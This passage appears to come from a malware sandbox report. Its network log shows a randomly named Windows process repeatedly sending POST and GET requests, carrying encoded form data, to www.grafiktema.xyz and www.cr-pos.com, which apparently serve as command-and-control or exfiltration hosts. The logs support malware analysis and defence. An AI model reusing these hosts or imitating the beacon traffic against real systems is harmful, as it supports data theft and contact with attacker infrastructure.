Sep 11, 2024 22:05:40.290369987 CEST	728	OUT	POST /pt32/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.grafiktema.xyz Origin: http://www.grafiktema.xyz Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.grafiktema.xyz/pt32/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 2f 31 4f 53 54 36 53 4d 41 4f 30 50 37 56 35 34 67 70 75 64 51 42 6d 41 2f 55 6d 30 58 6a 34 34 6d 37 6f 4c 63 79 4d 49 45 30 49 75 4e 61 66 4a 4d 51 4b 4f 49 6f 59 57 4a 73 4f 74 75 48 57 4d 64 4e 4d 65 35 43 46 63 6f 74 49 68 39 55 32 49 35 4f 70 6b 55 2f 31 6a 65 4c 4f 34 76 32 38 2f 31 50 71 73 65 52 62 79 4b 6c 71 6a 56 6a 73 52 48 4d 75 45 64 72 4c 49 43 4f 55 4c 30 76 30 35 6c 31 49 75 30 31 59 4b 47 33 74 71 7a 79 4a 43 68 6f 45 59 69 45 32 4b 4d 53 4a 53 6a 49 66 7a 77 52 6d 53 63 4f 6b 57 69 33 58 33 2f 63 69 4e 64 67 38 30 50 54 52 37 50 6e 36 4c Data Ascii: bFGXGTdX=/1OST6SMAO0P7V54gpudQBmA/Um0Xj44m7oLcyMIE0IuNafJMQKOIoYWJsOtuHWMdNMe5CFcotIh9U2I5OpkU/1jeLO4v28/1PqseRbyKlqjVjsRHMuEdrLICOUL0v05l1Iu01YKG3tqzyJChoEYiE2KMSJSjIfzwRmScOkWi3X3/ciNdg80PTR7Pn6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	49746	31.186.11.254	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:43.470554113 CEST	752	OUT	POST /pt32/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.grafiktema.xyz Origin: http://www.grafiktema.xyz Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.grafiktema.xyz/pt32/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 2f 31 4f 53 54 36 53 4d 41 4f 30 50 39 30 4a 34 6a 4f 53 64 59 42 6d 48 38 55 6d 30 41 7a 34 38 6d 37 6b 4c 63 32 30 59 52 57 38 75 4f 37 76 4a 4e 53 69 4f 46 49 59 57 52 63 4f 73 67 6e 57 48 64 4e 41 57 35 43 4a 63 6f 70 59 68 39 51 79 49 35 2f 70 6a 47 66 31 68 4c 62 4f 2b 77 47 38 2f 31 50 71 73 65 51 72 49 4b 6c 69 6a 56 53 63 52 45 74 75 4c 56 4c 4c 4c 55 65 55 4c 2b 2f 30 39 6c 31 4a 42 30 30 56 66 47 78 68 71 7a 79 35 43 68 35 45 62 37 30 33 42 52 69 49 6c 6c 71 4b 65 32 6b 43 50 63 39 73 4e 34 47 72 57 78 64 44 4b 4d 78 64 6a 63 6b 4e 31 42 68 50 68 74 79 4d 6e 2b 2b 42 45 6b 50 59 46 42 6d 46 67 58 79 5a 49 45 77 3d 3d Data Ascii: bFGXGTdX=/1OST6SMAO0P90J4jOSdYBmH8Um0Az48m7kLc20YRW8uO7vJNSiOFIYWRcOsgnWHdNAW5CJcopYh9QyI5/pjGf1hLbO+wG8/1PqseQrIKlijVScREtuLVLLLUeUL+/09l1JB00VfGxhqzy5Ch5Eb703BRiIllqKe2kCPc9sN4GrWxdDKMxdjckN1BhPhtyMn++BEkPYFBmFgXyZIEw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	49747	31.186.11.254	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:45.997519970 CEST	1765	OUT	POST /pt32/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.grafiktema.xyz Origin: http://www.grafiktema.xyz Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.grafiktema.xyz/pt32/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 2f 31 4f 53 54 36 53 4d 41 4f 30 50 39 30 4a 34 6a 4f 53 64 59 42 6d 48 38 55 6d 30 41 7a 34 38 6d 37 6b 4c 63 32 30 59 52 57 45 75 4e 4a 6e 4a 4d 7a 69 4f 45 49 59 57 50 73 4f 68 67 6e 57 61 64 4d 6f 53 35 43 55 70 6f 76 45 68 2b 7a 36 49 78 72 39 6a 66 76 31 68 4a 62 4f 37 76 32 38 51 31 50 36 67 65 51 62 49 4b 6c 69 6a 56 52 30 52 51 73 75 4c 54 4c 4c 49 43 4f 55 50 30 76 30 46 6c 31 52 37 30 30 51 6b 47 42 42 71 7a 53 70 43 69 4c 38 62 6b 45 33 44 53 69 49 39 6c 71 57 64 32 6b 32 70 63 2b 78 59 34 46 37 57 7a 37 65 65 65 42 56 59 4a 79 5a 75 4a 43 7a 6a 6d 31 73 6a 67 71 73 42 79 72 30 6e 53 33 4a 31 61 53 31 43 5a 37 4f 6c 31 32 79 37 4e 5a 30 43 31 63 48 34 50 6c 6b 2f 44 63 73 4b 4b 63 38 76 6a 4a 65 77 4d 32 7a 67 71 6e 44 79 6c 46 30 59 41 68 51 50 4e 7a 4a 39 6f 6c 4a 64 51 66 4b 6f 59 78 4e 36 6b 52 35 4d 78 4b 4f 72 48 71 64 2f 62 31 35 53 58 30 49 5a 62 75 42 30 7a 43 2b 66 37 6c 6d 52 4b 68 4a 52 43 45 4d 48 55 56 2b 34 70 59 39 4b 6d 6a 4f 62 44 78 33 54 59 [TRUNCATED] Data Ascii: bFGXGTdX=/1OST6SMAO0P90J4jOSdYBmH8Um0Az48m7kLc20YRWEuNJnJMziOEIYWPsOhgnWadMoS5CUpovEh+z6Ixr9jfv1hJbO7v28Q1P6geQbIKlijVR0RQsuLTLLICOUP0v0Fl1R700QkGBBqzSpCiL8bkE3DSiI9lqWd2k2pc+xY4F7Wz7eeeBVYJyZuJCzjm1sjgqsByr0nS3J1aS1CZ7Ol12y7NZ0C1cH4Plk/DcsKKc8vjJewM2zgqnDylF0YAhQPNzJ9olJdQfKoYxN6kR5MxKOrHqd/b15SX0IZbuB0zC+f7lmRKhJRCEMHUV+4pY9KmjObDx3TYrVbvD+3k1IBNDCyRbfi4P/hn+E/acZKXjzfXdBVX9UhUoVk32sKZNgrR410W1ZtV2l5LHsSm/ZU3AM1CCWQC5zD1BEzhD+EwvTrIq+8rWVkuL0WdKUt7mojKBMCcNISL7YCYvX6jjGQbHEnOsQf2GvGoKynFXKETFP4eY85zzPlggt8wi8bsB2msLObK34EKNNh5dl6FeGMse7SU24Z0E+4B0dd4hLcmgGqvhPhxk4pgLbRWE3k+ZOXStT7Sp15IMLKrX5Thg9zfYRNawtNYGO5GS+qEu27gMC+tBMQOGuEPREcP5iIeg64gnjN5lK4aE9ScDhLW9ZjMnTpll14mEY2TBcFnBFWJUlfHZ2p6JeXJ6P05Q5XhSmpFGYS6FpjD1RzdnlP9CC+iR+SWwQD8gB5wPoOb13kwpoS3P8JOOlZDH4NavkR0M/NUK6NwEuQOCBNMuMpZjNaMoOwmFDjYdIgMowqXCATJF2a67lSn2sKuIeBYU3oOz0xJ+7D2fbWl8c01n4u58GFsXyhFL2+vbf5dpYEhZi9gwOxnuVl5fJALCZSzandgVWZbHYdjBkQWWJ72SjqE97leSpEOXl1/dtV6C+AI7/VqlVR1DrSmyi8C+3iNtVo47ctDejwq6EgWGEPglD6K5zaPHYaJiadgCbF4WBZNhZsv6F [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	49748	31.186.11.254	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:48.539350033 CEST	461	OUT	GET /pt32/?bFGXGTdX=y3myQPKMG7UG4U86kYjDSgzezXSmAkUzi6cKVm8KTXszLa2xdxq+NpYfRMeTkluAfKxM8yJJ9pAbryr3svtYXqMrD5rBnUtNlc/QUHCATHSaLBoyFg==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.grafiktema.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	49749	192.250.231.28	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:15.009797096 CEST	716	OUT	POST /o1v8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.cr-pos.com Origin: http://www.cr-pos.com Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.cr-pos.com/o1v8/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 34 67 53 53 41 47 6d 38 73 71 7a 61 34 54 77 34 78 45 67 65 77 6a 74 52 4b 45 4b 31 6e 79 30 2b 58 43 72 7a 36 38 36 75 48 38 67 4e 36 68 6c 79 6f 49 6a 35 48 64 58 36 4f 70 59 35 42 78 69 45 31 70 6f 74 58 57 63 4e 57 6b 69 45 47 52 46 65 49 4b 59 4d 38 71 5a 46 41 2f 55 4c 38 53 64 42 45 73 7a 73 48 75 72 47 54 76 6b 49 2f 44 7a 6f 32 55 6d 35 69 53 32 78 75 69 4a 61 30 4a 7a 33 37 71 44 57 63 64 49 44 4a 57 70 58 65 37 34 69 63 2b 77 39 33 7a 51 6d 6b 57 71 4c 49 4b 7a 64 65 70 48 76 38 54 65 43 62 35 34 6a 67 47 53 79 49 4b 71 6c 65 31 72 59 73 4a 76 69 Data Ascii: bFGXGTdX=4gSSAGm8sqza4Tw4xEgewjtRKEK1ny0+XCrz686uH8gN6hlyoIj5HdX6OpY5BxiE1potXWcNWkiEGRFeIKYM8qZFA/UL8SdBEszsHurGTvkI/Dzo2Um5iS2xuiJa0Jz37qDWcdIDJWpXe74ic+w93zQmkWqLIKzdepHv8TeCb54jgGSyIKqle1rYsJvi
Sep 11, 2024 22:06:15.495182037 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Wed, 11 Sep 2024 20:06:15 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Sep 11, 2024 22:06:15.495198965 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.10	49750	192.250.231.28	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:18.137933016 CEST	740	OUT	POST /o1v8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.cr-pos.com Origin: http://www.cr-pos.com Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.cr-pos.com/o1v8/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 34 67 53 53 41 47 6d 38 73 71 7a 61 35 7a 41 34 30 6c 67 65 6e 7a 74 53 46 6b 4b 31 73 53 30 36 58 43 6e 7a 36 2f 32 2b 45 50 45 4e 36 44 39 79 70 4a 6a 35 4f 4e 58 36 47 4a 59 67 46 78 69 50 31 70 56 51 58 54 30 4e 57 67 79 45 47 55 70 65 49 39 73 50 2f 61 5a 48 59 50 55 46 6b 79 64 42 45 73 7a 73 48 75 2f 6f 54 76 63 49 2f 7a 6a 6f 33 77 79 36 35 79 32 32 35 53 4a 61 2b 70 7a 7a 37 71 44 77 63 66 38 6c 4a 54 74 58 65 2f 30 69 63 73 49 2b 38 7a 51 6b 35 47 72 54 5a 72 75 34 57 37 6e 4c 6c 77 50 49 47 34 6b 42 71 48 7a 31 5a 62 4c 79 4e 43 33 57 69 50 61 49 57 2f 6e 78 4c 57 7a 64 6b 4a 54 41 63 77 59 71 34 35 51 42 45 67 3d 3d Data Ascii: bFGXGTdX=4gSSAGm8sqza5zA40lgenztSFkK1sS06XCnz6/2+EPEN6D9ypJj5ONX6GJYgFxiP1pVQXT0NWgyEGUpeI9sP/aZHYPUFkydBEszsHu/oTvcI/zjo3wy65y225SJa+pzz7qDwcf8lJTtXe/0icsI+8zQk5GrTZru4W7nLlwPIG4kBqHz1ZbLyNC3WiPaIW/nxLWzdkJTAcwYq45QBEg==
Sep 11, 2024 22:06:18.792932034 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Wed, 11 Sep 2024 20:06:18 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Sep 11, 2024 22:06:18.792953014 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.10	49751	192.250.231.28	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:20.669379950 CEST	1753	OUT	POST /o1v8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.cr-pos.com Origin: http://www.cr-pos.com Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.cr-pos.com/o1v8/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 34 67 53 53 41 47 6d 38 73 71 7a 61 35 7a 41 34 30 6c 67 65 6e 7a 74 53 46 6b 4b 31 73 53 30 36 58 43 6e 7a 36 2f 32 2b 45 50 4d 4e 37 77 31 79 6f 71 62 35 63 64 58 36 46 4a 59 39 46 78 69 65 31 74 35 55 58 54 78 34 57 6d 75 45 47 79 39 65 44 76 45 50 6f 71 5a 48 52 76 55 49 38 53 64 59 45 6f 66 6f 48 75 76 6f 54 76 63 49 2f 78 4c 6f 78 6b 6d 36 37 79 32 78 75 69 4a 57 30 4a 79 57 37 71 71 46 63 66 6f 31 4a 48 5a 58 48 62 59 69 65 66 77 2b 6a 44 51 69 36 47 72 41 5a 72 69 72 57 37 72 48 6c 78 4b 6a 47 2f 67 42 6e 44 53 33 64 59 6a 31 52 54 36 4d 75 76 4b 53 52 62 2b 55 4c 57 50 56 67 62 44 6b 63 79 52 34 79 61 42 4c 52 6d 47 54 78 4e 67 56 52 37 58 6a 45 44 59 48 58 56 30 61 2f 4c 47 32 63 79 37 44 4a 64 72 66 38 6c 35 63 76 6e 31 63 50 77 72 45 61 34 5a 54 4d 4c 71 4f 33 5a 35 74 59 72 79 43 58 38 57 4a 2f 46 68 42 51 4c 79 47 47 2b 37 48 71 73 63 68 35 33 6a 69 54 50 4b 52 32 39 67 50 2b 50 4d 48 39 51 68 54 67 5a 78 68 43 43 74 56 37 71 7a 41 54 67 42 78 68 38 66 54 69 [TRUNCATED] Data Ascii: bFGXGTdX=4gSSAGm8sqza5zA40lgenztSFkK1sS06XCnz6/2+EPMN7w1yoqb5cdX6FJY9Fxie1t5UXTx4WmuEGy9eDvEPoqZHRvUI8SdYEofoHuvoTvcI/xLoxkm67y2xuiJW0JyW7qqFcfo1JHZXHbYiefw+jDQi6GrAZrirW7rHlxKjG/gBnDS3dYj1RT6MuvKSRb+ULWPVgbDkcyR4yaBLRmGTxNgVR7XjEDYHXV0a/LG2cy7DJdrf8l5cvn1cPwrEa4ZTMLqO3Z5tYryCX8WJ/FhBQLyGG+7Hqsch53jiTPKR29gP+PMH9QhTgZxhCCtV7qzATgBxh8fTiKHkABxBgn8IMXnk3uKYHv1UlV1tTp9RClRvTMcw3uRmQiK2horHJPVEdC6QBvOwCY7kYIWEV/DlXqb4rUjYHmlsqe9I1sj50fqOVubwBeIDiRxOjpZDcyp+lscVUsTKykWLoDKwcKOP1Wauoq93bwZ9d7d3wcJQk5RYhvMG4fbMGA3A1QJ0akfLwc4f7LcIOwTLt38Cy8kuuBpzFFZ3kCaasYXbJA3f8DfF58ikTOyGHFnYD4Z2tkBH4TM01Y72XtyVd6Sy8SILaX6IaHY00CGN/rWDfCYqe2FJZtyT7nCcMNPo7yADSdi2iMJnsDVCs87F8AqIAis0zckdviioHCm89d9Tp0lclROkgXXssUki1CdDrT31yeQfkgN8PcZmBUzotGBhXTU94rHPYrrkbwxgmJ3Dpyn8aKuyDtCb1a6of6E/hhERiTW+snREQq6PXnYbZF65F/37nXhgJDa12hE2TZkfdKO020tcw2XT+Woirx8cfC6PClXOZ+SI68LikjT8NN5SSZ+dLRzDVDc1lRmayGmoc/GZlz/NTl9ILjqMVFMoPvdj6S26rYbOZ9YfjttTThR+Zux7Uk2MIClxBOfSDz3hvBpX18YPhPmiJ7jqWhpTWCqo7utxkrgrb0bSzxHfKU3RvwTlWeB3/8FC1McvubCoPs6UaXj [TRUNCATED]
Sep 11, 2024 22:06:21.178412914 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Wed, 11 Sep 2024 20:06:20 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Sep 11, 2024 22:06:21.178430080 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.10	49752	192.250.231.28	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:23.200354099 CEST	457	OUT	GET /o1v8/?bFGXGTdX=1i6yDzrkvfTg1xRY+mVcmT0mAxqtzWYSPwzr6OqMIexmyiVm05r+M/L0QtcaHGif89shAFkQDwq9CioCdeM2s5RrcMFZtF0WLInyLOarA44qlhj6rw==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.cr-pos.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
